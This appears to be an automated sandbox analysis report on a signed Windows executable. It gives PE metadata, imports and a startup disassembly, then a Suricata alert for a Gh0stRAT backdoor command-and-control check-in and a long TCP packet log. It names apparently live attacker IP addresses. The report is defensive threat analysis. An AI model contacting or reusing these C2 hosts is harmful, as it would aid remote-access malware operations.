Subject Chain	CN=Bomgar Corporation, OU=Remote Support, O=Bomgar Corporation, L=Ridgeland, S=Mississippi, C=US
Version:	3
Thumbprint MD5:	6889A3851E863F1CCF86478B3F09D788
Thumbprint SHA-1:	6BE4521A89D6B850666CC0448E19C43EA882BF95
Thumbprint SHA-256:	7CE97658E0B03685B121FE2F01C0C60A2A3A4351A8726091DB0DB21A126A1193
Serial:	78A18F5A6A4A79C40520FCBECED3413A

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F0840E61134h
dec eax
add esp, 28h
jmp 00007F0840E5CA08h
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [00009E0Bh]
dec eax
mov ecx, ebx
call dword ptr [00009DFAh]
call dword ptr [00009E04h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [00009DF8h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call 00007F0840E697A0h
test eax, eax
je 00007F0840E60D09h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [0001459Bh]
call 00007F0840E60DAFh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00014682h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00014612h], eax
dec eax
mov eax, dword ptr [0001466Bh]
dec eax
mov dword ptr [000144DCh], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [000145E0h], eax
mov dword ptr [000144B6h], C0000409h
mov dword ptr [000144B0h], 00000001h
mov dword ptr [000144BAh], 00000001h
mov eax, 00000008h

Rich Headers

Programming Language:

[C++] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17684	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d77000	0x53e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d75000	0xcc0	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1d77200	0x3ed0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1d7d000	0x61c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x16720	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x16780	0x94	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf000	0x398	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xd730	0xd800	f781f4e29ce6908610253ab71e0fb860	False	0.5663339120370371	data	6.308825473877446	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xf000	0x9258	0x9400	baeff773e46eae3281c9d7e572b6250a	False	0.4282622466216216	data	4.7980481237671775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x19000	0x1d5bbb0	0x1d59600	a9b83a60583ef4b97dcaac5cc99e4d3c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1d75000	0xcc0	0xe00	fb4f5a1e38d00a92d183eb1338df3c04	False	0.44838169642857145	data	4.520303811710334	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gfids	0x1d76000	0xa0	0x200	94b626ca4962a04bd4bded5bafb43073	False	0.255859375	DOS executable (COM, 0x8C-variant)	1.2723135738897011	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1d77000	0x53e8	0x5400	62806e1913bfc9baa151948596958867	False	0.14857700892857142	data	3.0663882638370197	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1d7d000	0x61c	0x800	1e44ffbbdb412290f13f10e29e32e661	False	0.5380859375	data	4.748348651229756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1d77448	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 111 x 111 px/m	English	United States	0.1799645390070922
RT_ICON	0x1d778b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 221 x 221 px/m	English	United States	0.08958724202626642
RT_ICON	0x1d78958	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 332 x 332 px/m	English	United States	0.05933609958506224
RT_DIALOG	0x1d7af00	0x10a	data	English	United States	0.6842105263157895
RT_DIALOG	0x1d7b00c	0xb8	data	English	United States	0.6467391304347826
RT_STRING	0x1d7b0c4	0x2e	data	English	United States	0.5217391304347826
RT_STRING	0x1d7b0f4	0x2a	data	English	United States	0.5476190476190477
RT_STRING	0x1d7b120	0x296	data	English	United States	0.3323262839879154
RT_STRING	0x1d7b3b8	0x328	data	English	United States	0.34405940594059403
RT_STRING	0x1d7b6e0	0x27c	data	English	United States	0.33176100628930816
RT_STRING	0x1d7b95c	0x106	data	English	United States	0.5763358778625954
RT_STRING	0x1d7ba64	0xda	data	English	United States	0.43119266055045874
RT_STRING	0x1d7bb40	0x1f8	data	English	United States	0.36706349206349204
RT_STRING	0x1d7bd38	0xae	data	English	United States	0.5689655172413793
RT_STRING	0x1d7bde8	0x44	data	English	United States	0.6764705882352942
RT_ACCELERATOR	0x1d7be2c	0x70	data	English	United States	0.6785714285714286
RT_GROUP_ICON	0x1d7be9c	0x30	data	English	United States	0.8125
RT_VERSION	0x1d7becc	0x2ac	data	English	United States	0.45760233918128657
RT_MANIFEST	0x1d7c178	0x270	ASCII text, with CRLF line terminators	English	United States	0.5176282051282052

Imports

DLL	Import
KERNEL32.dll	EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, WaitForSingleObject, CreateEventW, ExitProcess, CreateThread, GetCurrentThreadId, GetStartupInfoW, GetModuleFileNameW, GetModuleHandleW, LocalAlloc, LocalFree, lstrcmpW, lstrcpyW, lstrlenW, CreateFileW, WriteConsoleW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, InitializeCriticalSection, HeapReAlloc, HeapSize, GetProcessHeap, GetStringTypeW, GetFileType, SetStdHandle, LCMapStringW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetCPInfo, GetOEMCP, IsValidCodePage, FindNextFileW, SetLastError, GetLastError, CloseHandle, OutputDebugStringW, OutputDebugStringA, FlushFileBuffers, GetCommandLineW, FindFirstFileExW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleExW, GetACP, HeapFree, HeapAlloc, FindClose, VirtualAlloc
USER32.dll	LoadImageW, LoadCursorW, GetClassLongPtrW, SetWindowLongPtrW, GetWindowLongPtrW, GetSysColorBrush, InvalidateRect, EndPaint, BeginPaint, GetSystemMetrics, SetTimer, CharPrevW, SetWindowPos, ShowWindow, DestroyWindow, CreateWindowExW, RegisterClassExW, PostQuitMessage, DefWindowProcW, PostMessageW, DispatchMessageW, TranslateMessage, GetMessageW, wsprintfW, wsprintfA, wvsprintfW, wvsprintfA, MoveWindow
GDI32.dll	SelectObject, DeleteDC, CreateCompatibleDC, BitBlt, GetObjectW
SHELL32.dll	CommandLineToArgvW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-16T03:55:23.026425+0100	2852901	ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin	1	192.168.2.4	63360	8.210.209.78	8917	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 03:54:16.244205952 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:16.244247913 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:16.244339943 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:16.258136988 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:16.258153915 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:17.495007038 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:17.495208979 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:17.496571064 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:17.496639967 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:17.572845936 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:17.572880030 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:17.574017048 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:17.574095964 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:17.576541901 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:17.619328976 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:17.894870996 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:17.894942999 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:17.894956112 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:17.894999981 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:17.895036936 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:17.895088911 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:17.901599884 CET	49735	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:17.901612997 CET	443	49735	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:18.046713114 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:18.046802044 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:18.046897888 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:18.047354937 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:18.047393084 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.270356894 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.270515919 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.271084070 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.271114111 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.271250963 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.271264076 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.610503912 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.610562086 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.610744953 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.610796928 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.610797882 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.610877037 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.610955954 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.610956907 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.614085913 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.614172935 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.616189957 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.616272926 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.701105118 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.701206923 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.701405048 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.701405048 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.701478004 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.701524019 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.701586962 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.701606035 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.701637030 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.701663017 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.702387094 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.702457905 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.702730894 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.702800989 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.703603029 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.703716993 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.704660892 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.704721928 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.704999924 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.705069065 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.706722975 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.706794977 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.709300995 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.709404945 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.791646004 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.791822910 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.791861057 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.791933060 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.791975021 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.791977882 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.791999102 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.792015076 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.792052031 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.792076111 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.792083025 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.792104959 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.792145014 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.792169094 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.792412043 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.792480946 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.792499065 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.792577982 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.793186903 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.793256044 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.793281078 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.793348074 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.793709993 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.793775082 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.793894053 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.793966055 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.794223070 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.794291019 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.795094967 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.795159101 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.795200109 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.795264006 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.797342062 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.797409058 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.797426939 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.797489882 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.798934937 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.799007893 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.882345915 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.882463932 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.882571936 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.882580996 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.882580996 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.882647991 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.882699013 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.882726908 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.882740974 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.882802963 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:19.882827044 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:19.883052111 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:20.053292036 CET	49736	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:20.053364038 CET	443	49736	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:20.092271090 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:20.092363119 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:20.092457056 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:20.093084097 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:20.093163013 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.332726002 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.333082914 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.338076115 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.338136911 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.338192940 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.338206053 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.669728994 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.669785976 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.669809103 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.669876099 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.669918060 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.669955969 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.672050953 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.672245979 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.673197985 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.673284054 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.674700975 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.674784899 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.760756016 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.760842085 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.760900974 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.760977983 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.761094093 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.761149883 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.761655092 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.761722088 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.761997938 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.762058973 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.762896061 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.762962103 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.764036894 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.764103889 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.764125109 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.764188051 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.765790939 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.765856981 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.767734051 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.767801046 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.851784945 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.851878881 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.851936102 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.852041960 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.852133989 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.852132082 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.852132082 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.852180958 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.852188110 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.852299929 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.852499962 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.852562904 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.852603912 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.852709055 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.852818966 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.852905989 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.852905989 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.852905989 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.852972984 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.853040934 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.853481054 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.853545904 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.853575945 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.853638887 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.853672981 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.853724957 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.853828907 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.853893042 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.855201960 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.855277061 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.857160091 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.857248068 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.857336044 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.857336044 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.857402086 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.857494116 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.858782053 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.858845949 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.858879089 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.858944893 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.858967066 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.859023094 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.859031916 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.859093904 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.859524012 CET	49737	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.859556913 CET	443	49737	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.941962957 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.942018032 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:21.942092896 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.942329884 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:21.942359924 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.171487093 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.171703100 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.171941996 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.171968937 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.172080994 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.172095060 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.506469965 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.506531000 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.506669998 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.506670952 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.506702900 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.506757021 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.507431984 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.507505894 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.508435011 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.508567095 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.508579969 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.508630991 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.508647919 CET	443	49739	39.103.20.17	192.168.2.4
